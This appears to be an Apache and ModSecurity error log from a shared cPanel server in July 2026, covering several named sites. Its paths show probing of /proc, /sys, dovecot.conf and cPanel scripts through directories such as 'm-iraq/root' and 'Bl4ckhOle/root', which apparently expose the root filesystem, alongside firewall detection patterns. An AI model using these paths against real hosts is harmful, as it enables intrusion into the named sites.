[Fri Jul 17 08:49:38.658568 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.122.16.212:0] ModSecurity: Rule 55dbd90914d8 [id "941140"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "165"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "epid.gov.lk"] [uri "/"] [unique_id "almfShAi3pC6yjXGNq1_rgAAAAU"], referer: https://epid.gov.lk/
[Fri Jul 17 08:49:38.658730 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.122.16.212:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "epid.gov.lk"] [uri "/"] [unique_id "almfShAi3pC6yjXGNq1_rgAAAAU"], referer: https://epid.gov.lk/
[Fri Jul 17 08:49:38.672416 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.122.16.212:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "epid.gov.lk"] [uri "/"] [unique_id "almfShAi3pC6yjXGNq1_rgAAAAU"], referer: https://epid.gov.lk/
[Fri Jul 17 08:49:38.673054 2026] [security2:error] [pid 1993668:tid 1993668] [client 34.122.16.212:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "epid.gov.lk"] [uri "/"] [unique_id "almfShAi3pC6yjXGNq1_rgAAAAU"], referer: https://epid.gov.lk/
[Fri Jul 17 08:49:39.585013 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:37800] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:40.056499 2026] [core:error] [pid 1993715:tid 1993715] (13)Permission denied: [client 47.82.55.71:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/13:64/subsystem/input5/device/driver/new_id
[Fri Jul 17 08:49:40.292195 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfTBAi3pC6yjXGNq1_rwAAAAU"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:49:40.292248 2026] [security2:error] [pid 1993668:tid 1993668] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfTBAi3pC6yjXGNq1_rwAAAAU"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:49:41.160530 2026] [core:error] [pid 2018764:tid 2018764] (13)Permission denied: [client 57.141.18.14:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory111/node0/memory14/node0/memory104/node0/cpu0/crash_notes_size
[Fri Jul 17 08:49:41.311439 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:47880] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:41.348225 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:41.353514 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:41.355371 2026] [security2:error] [pid 1993574:tid 1993574] [client 47.82.54.49:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/tty15/subsystem/tty4/"] [unique_id "almfTd0t9Kb_MdNxrg7BaAAAAAM"]
[Fri Jul 17 08:49:41.355411 2026] [security2:error] [pid 1993574:tid 1993574] [client 47.82.54.49:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:58/subsystem/tty15/subsystem/tty4/"] [unique_id "almfTd0t9Kb_MdNxrg7BaAAAAAM"]
[Fri Jul 17 08:49:42.556242 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:47912] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:43.363047 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:43.707682 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:45.022933 2026] [security2:error] [pid 2018741:tid 2018741] [client 57.141.18.100:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory59/subsystem/devices/memory116/subsystem/devices/memory143/node0/cpu3/node0/memory126/"] [unique_id "almfUboj0IkvhSCYadmA1QAAAAQ"]
[Fri Jul 17 08:49:45.022974 2026] [security2:error] [pid 2018741:tid 2018741] [client 57.141.18.100:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory59/subsystem/devices/memory116/subsystem/devices/memory143/node0/cpu3/node0/memory126/"] [unique_id "almfUboj0IkvhSCYadmA1QAAAAQ"]
[Fri Jul 17 08:49:45.726838 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:48150] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:49.197254 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:48292] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:49:51.248911 2026] [mime:warn] [pid 2015125:tid 2015125] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:49:54.825803 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/getconf"] [unique_id "almfWlCBpfuYyhJ140vRowAAAB4"]
[Fri Jul 17 08:49:54.826206 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/getconf"] [unique_id "almfWlCBpfuYyhJ140vRowAAAB4"]
[Fri Jul 17 08:49:54.826712 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/getconf"] [unique_id "almfWlCBpfuYyhJ140vRowAAAB4"]
[Fri Jul 17 08:49:59.636445 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:34824] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:00.694217 2026] [mime:warn] [pid 2014256:tid 2014256] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:01.171719 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:34910] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:01.176381 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:01.301647 2026] [security2:error] [pid 2018768:tid 2018768] [client 186.149.198.78:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/weeratra-global": Permission denied [hostname "weeratrading.com"] [uri "/xmlrpc.php"] [unique_id "almfYFCBpfuYyhJ140vRpQAAAB4"]
[Fri Jul 17 08:50:01.301711 2026] [security2:error] [pid 2018768:tid 2018768] [client 186.149.198.78:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/weeratra-ip": Permission denied [hostname "weeratrading.com"] [uri "/xmlrpc.php"] [unique_id "almfYFCBpfuYyhJ140vRpQAAAB4"]
[Fri Jul 17 08:50:01.541529 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:03.188982 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:04.126549 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:04.320190 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:56510] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:05.407469 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfZVh1WDijTxd1xw5LlAAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:50:05.407504 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almfZVh1WDijTxd1xw5LlAAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:50:05.665758 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 47.82.13.85:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/251:0/device/rtc/rtc0/device/driver/bind
[Fri Jul 17 08:50:05.673450 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:05.723812 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:56596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:06.184623 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/ttyS0/device/subsystem/drivers/system/bind
[Fri Jul 17 08:50:07.000295 2026] [ssl:error] [pid 2018758:tid 2018758] (70014)End of file found: [client 66.85.158.91:56638] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:07.424163 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:07.525427 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:07.616421 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:56654] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:07.954768 2026] [core:error] [pid 2019501:tid 2019501] (13)Permission denied: [client 47.82.55.201:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/189:1/1-1:1.0/0003:0627:0001.0001/driver/bind
[Fri Jul 17 08:50:08.062202 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:09.307563 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:09.326440 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:10.029341 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:13.008500 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:54290] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:14.123126 2026] [ssl:error] [pid 2013830:tid 2013830] (5)Input/output error: [client 66.85.158.91:54564] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:16.229932 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:18.720912 2026] [ssl:error] [pid 2015125:tid 2015125] (70014)End of file found: [client 66.85.158.91:54862] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:18.926191 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:54864] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:21.220127 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:21.220221 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:21.285784 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/localectl"] [unique_id "almfdXRlmrtCoY_COpclLgAAAAg"]
[Fri Jul 17 08:50:21.286228 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/localectl"] [unique_id "almfdXRlmrtCoY_COpclLgAAAAg"]
[Fri Jul 17 08:50:21.286756 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/bin/localectl"] [unique_id "almfdXRlmrtCoY_COpclLgAAAAg"]
[Fri Jul 17 08:50:21.339858 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:21.869784 2026] [core:error] [pid 2018770:tid 2018770] (13)Permission denied: [client 47.82.54.184:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:67/subsystem/ttyS1/device/subsystem/uevent
[Fri Jul 17 08:50:21.933357 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:22.096360 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:23.669410 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:25.206080 2026] [security2:error] [pid 2015125:tid 2015125] [client 85.208.96.210:0] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /jrdcbackend/jrdcback0701/vendor/laravel/framework/src/illuminate/collections/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ksoft.web.lk"] [uri "/jrdcbackend/jrdcback0701/vendor/laravel/framework/src/Illuminate/Collections/composer.json"] [unique_id "almfeBJ0z2bEtnOrIXU_sQAAAAk"]
[Fri Jul 17 08:50:25.206389 2026] [security2:error] [pid 2015125:tid 2015125] [client 85.208.96.210:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ksoft.web.lk"] [uri "/jrdcbackend/jrdcback0701/vendor/laravel/framework/src/Illuminate/Collections/composer.json"] [unique_id "almfeBJ0z2bEtnOrIXU_sQAAAAk"]
[Fri Jul 17 08:50:25.259438 2026] [security2:error] [pid 2015125:tid 2015125] [client 85.208.96.210:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ksoft.web.lk"] [uri "/jrdcbackend/jrdcback0701/vendor/laravel/framework/src/Illuminate/Collections/composer.json"] [unique_id "almfeBJ0z2bEtnOrIXU_sQAAAAk"]
[Fri Jul 17 08:50:26.186391 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:27.742225 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:38268] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:29.253566 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:38366] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:29.677163 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:29.736760 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:29.838795 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:32.156503 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:42044] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:32.272489 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:33.671962 2026] [ssl:error] [pid 2023579:tid 2023579] (70014)End of file found: [client 66.85.158.91:42100] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:35.565518 2026] [ssl:error] [pid 2018770:tid 2018770] (70014)End of file found: [client 66.85.158.91:42138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:36.189019 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/scripts/elevate-cpanel
[Fri Jul 17 08:50:37.444475 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:37.451571 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:38.362287 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:38.457345 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:39.332780 2026] [ssl:error] [pid 2018757:tid 2018757] (70014)End of file found: [client 66.85.158.91:42242] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:39.544293 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:39.940938 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:41.027769 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:41.039837 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:41.190892 2026] [mime:warn] [pid 2023579:tid 2023579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:41.257200 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:44508] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:41.651816 2026] [mime:warn] [pid 2018770:tid 2018770] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:41.736447 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:44546] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:50:41.834593 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:50:42.177556 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.48.199:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/run/dovecot/dovecot.conf"] [unique_id "almfilh1WDijTxd1xw5LqwAAAAc"]
[Fri Jul 17 08:50:42.178113 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.48.199:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/run/dovecot/dovecot.conf"] [unique_id "almfilh1WDijTxd1xw5LqwAAAAc"]
[Fri Jul 17 08:50:42.178563 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.48.199:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/run/dovecot/dovecot.conf"] [unique_id "almfilh1WDijTxd1xw5LqwAAAAc"]
[Fri Jul 17 08:50:42.256235 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
